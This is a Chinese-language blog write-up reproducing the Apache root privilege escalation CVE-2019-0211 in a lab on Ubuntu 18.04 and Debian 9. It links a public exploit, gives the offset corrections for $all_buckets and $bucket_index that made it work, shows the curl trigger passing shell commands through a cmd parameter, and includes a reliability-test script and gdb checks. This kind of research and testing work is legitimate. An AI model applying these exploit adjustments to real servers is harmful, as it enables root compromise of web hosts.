Apache 提权漏洞(CVE-2019-0211)复现
本月Apache被公布了一个提权的漏洞,并且前天在GitHub上公布出了利用脚本,这几天我负责漏洞应急这个漏洞。
本篇文章没有叫:《Apache 提权漏洞分析》是因为我觉得 CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation 这篇文章的分析写的挺好的,所以我没必要再翻译一遍了,本篇文章主要叙述复现该漏洞的过程中踩过的坑。
复现环境
我使用的复现环境是:
#系统, 跟系统关系不是很大,主要问题是能不能用包管理器安装对应版本的apache $ lsb_release -a Distributor ID:Ubuntu Description:Ubuntu 18.04.1 LTS Release:18.04 Codename:bionic #Apache版本,复现的关键就在该版本 $ apache2 -v Server version: Apache/2.4.29 (Ubuntu) Server built: 2018-03-02T02:19:31 # php版本 $ php -v PHP 7.2.15-0ubuntu0.18.04.2 (cli) (built: Mar 22 2019 17:05:14) ( NTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies with Zend OPcache v7.2.15-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies
- apache使用apt安装的版本属于已经修复的版本,所以需要指定一下版本:
#apt install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4
-
php直接用apt安装就好了
-
exp地址:
https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/cfreal-carpediem.php
- 需要开启ssl模块:a2enmod ssl
关于需要开始ssl模块说明:
1.就算不开ssl模块,漏洞也是存在的
2.就算不开启ssl模块,你自己修改apache配置,能开启其他端口,也是能利用的
3.如果只开了80端口,则需要另行找一条利用链,github上公布exp在只开启了一个端口的情况下是无效的
4.@cfreal的文章中已经说了,我这里在多说句,相关代码可以看看[1]和[2]还有SAFE_ACCPET的宏定义:
/* On some architectures it's safe to do unserialized accept()s in the single * Listen case. But it's never safe to do it in the case where there's * multiple Listen statements. Define SINGLE_LISTEN_UNSERIALIZED_ACCEPT * when it's safe in the single Listen case. */ #ifdef SINGLE_LISTEN_UNSERIALIZED_ACCEPT #define SAFE_ACCEPT(stmt) (ap_listeners->next ? (stmt) : APR_SUCCESS) #else #define SAFE_ACCEPT(stmt) (stmt) #endif
简单的来说,只有在apache开启多个端口的情况下,才会生成mutex互斥锁,而在github上公布的exp就是通过apache的mutex对象来进行利用的。
跑exp中遇到的一些坑
我试过了很多版本,没有一个版本是能直接使用Github上的exp的,在上述表面的版本中,经过调试研究发现了两个问题导致了利用失败:
1.$all_buckets = $i - 0x10 计算出问题
2.$bucket_index = bucketindexmiddle−(int)(bucket_index_middle - (int) (bucketindexmiddle−(int)(total_nb_buckets / 2); 计算出问题
第一个计算all_buckets的地址,使用gdb进行调试,你会发现,这个值并没有算错,但是在执行apache2ctl graceful命令以后,all_buckets 生成了一个新的值,不过只和之前的all_buckets地址差0x38000,所以这个问题很好解决:
$all_buckets = $i - 0x10 + 0x38000;
第二个计算没必要这么复杂,而且在我测试的版本中还是算的错误的地址,直接改成:
$bucket_index = $bucket_index_middle;
ubuntu中的一个坑
我的payload是:
curl “http://localhost/cfreal-carpediem.php?cmd=id>/tmp/2323232”
表面上看是执行成功了,但是却并没有在/tmp目录下发现2323232文件,经过随后的研究发现,systemd重定向了apache的tmp目录,执行下$find /tmp -name "2323232"就找到文件了,不过只有root用户能访问。如果不想让systemd重定向tmp目录也简单:
$ cat /lib/systemd/system/apache2.service [Unit] Description=The Apache HTTP Server After=network.target remote-fs.target nss-lookup.target [Service] Type=forking Environment=APACHE_STARTED_BY_SYSTEMD=true ExecStart=/usr/sbin/apachectl start ExecStop=/usr/sbin/apachectl stop ExecReload=/usr/sbin/apachectl graceful PrivateTmp=false Restart=on-abort [Install] WantedBy=multi-user.target
这项为false就好了,PrivateTmp=false,改完以后重启一下,再测试一遍就能在tmp目录下写文件了
关于成功率的说法
在exp的注释中看到了说该利用没法100%成功,有失败的概率,所以我写了个脚本进行测试:
root@vultr:~# cat check #!/bin/bash SUCC=0 COUNT=0 for i in $(seq 1 20) do let COUNT+=1 /etc/init.d/apache2 stop sleep 1 /etc/init.d/apache2 start if [ -f "/tmp/1982347" ];then rm /tmp/1982347 fi curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/1982347" apache2ctl graceful sleep 1 if [ -f "/tmp/1982347" ];then let SUCC+=1 fi done echo "COUNT: $COUNT" echo "SUCCESS: $SUCC"
我测试的跑了20次的结果:
# ./check ...... COUNT: 20 SUCCESS: 20
并没有遇到失败的情况
总 结
其他版本的还没有进行测试,但是在这里给一些建议。
1.check all_buckets地址
这个挺简单的,执行完exp以后,有输出对应的pid和all_buckets地址,可以使用gdb attach上去检查下该地址是否正确:p all_buckets
PS:这里要注意下,需要安装dbg包,才有all_buckets符号 :apt install apache2-dbg=2.4.29-1ubuntu4
如果有问题,就调试检查exp中搜索all_buckets地址的流程
如果没问题,就使用gdb attach主进程(root权限的那个进程),然后断点下在make_child,然后执行apache2ctl graceful,执行完然后在gdb的流程跳到make_child函数的时候,再输出一次:p all_buckets,和exp获取的值对比一下,如果一样就没问题了
2.check my_bucket地址
前面的流程和上面一样,重点关注在make_child函数中的my_bucket赋值的代码:[3]
这里注意下,因为上面有一个fork,所以在gdb里还要加一句:set follow-fork-mode child
my_bucket的值是一个指针,指向堆喷的地址,如果my_bucket的值没问题,exp基本就没问题了,如果不对,就调整$bucket_index
更 新
debian 9测试成功:
# cat /etc/issue Debian GNU/Linux 9 \n \l # apache2 -v Server version: Apache/2.4.25 (Debian) Server built: 2018-11-03T18:46:19 # php -v 3ff7 PHP 7.0.33-0+deb9u3 (cli) (built: Mar 8 2019 10:01:24) ( NTS ) Copyright (c) 1997-2017 The PHP Group Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies with Zend OPcache v7.0.33-0+deb9u3, Copyright (c) 1999-2017, by Zend Technologies
🔗
参 考 链 接
- CVE-2019-0211 - Apache HTTP服务组件中的升级权限漏洞
- CVE-2016-1240(Tomcat本地提权漏洞分析与复现)
- Tomcat曝本地提权漏洞 (CVE-2016-1240 附PoC)
- Apache 服务器存在高危提权漏洞,请升级至最新版本 2.4.39 – 运维派
- Linux内核通杀提权漏洞CVE-2016-5195 - 内核升级方法
- 从0到TrustZone(第二篇): QSEE提权漏洞及利用(CVE-2015-6639)
- CVE-2019-5736: runc容器逃逸漏洞警报
- Android提权漏洞CVE-2014-7920、CVE-2014-7921
- Apache HTTP Server mod_session_dbd 远程安全漏洞(CVE-2013-2249)
- [Mobile Security] - CVE漏洞复现虚拟团队呼唤小伙伴
- Apache Struts 2漏洞分析(CVE-2018-11776/S2-057)
- OS: 脏牛(Dirty COW)漏洞:Linux 内核通杀提权漏洞 (CVE-2016-5195)
- cve-2015-0569 安卓手机提权ROOT漏洞 分析
- 【渗透测试】ApacheTomcat 远程代码执行漏洞复现CVE-2017-12615
- CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0
- 网站安全加固之apache环境S2-057漏洞 利用POC 远程执行命令漏洞复现
- Android提权漏洞CVE-2014-7920&CVE-2014-7921分析
- iis6.0远程代码执行漏洞复现(CVE-2017-7269)
- 【漏洞公告】CVE-2017-1000367:Sudo本地提权漏洞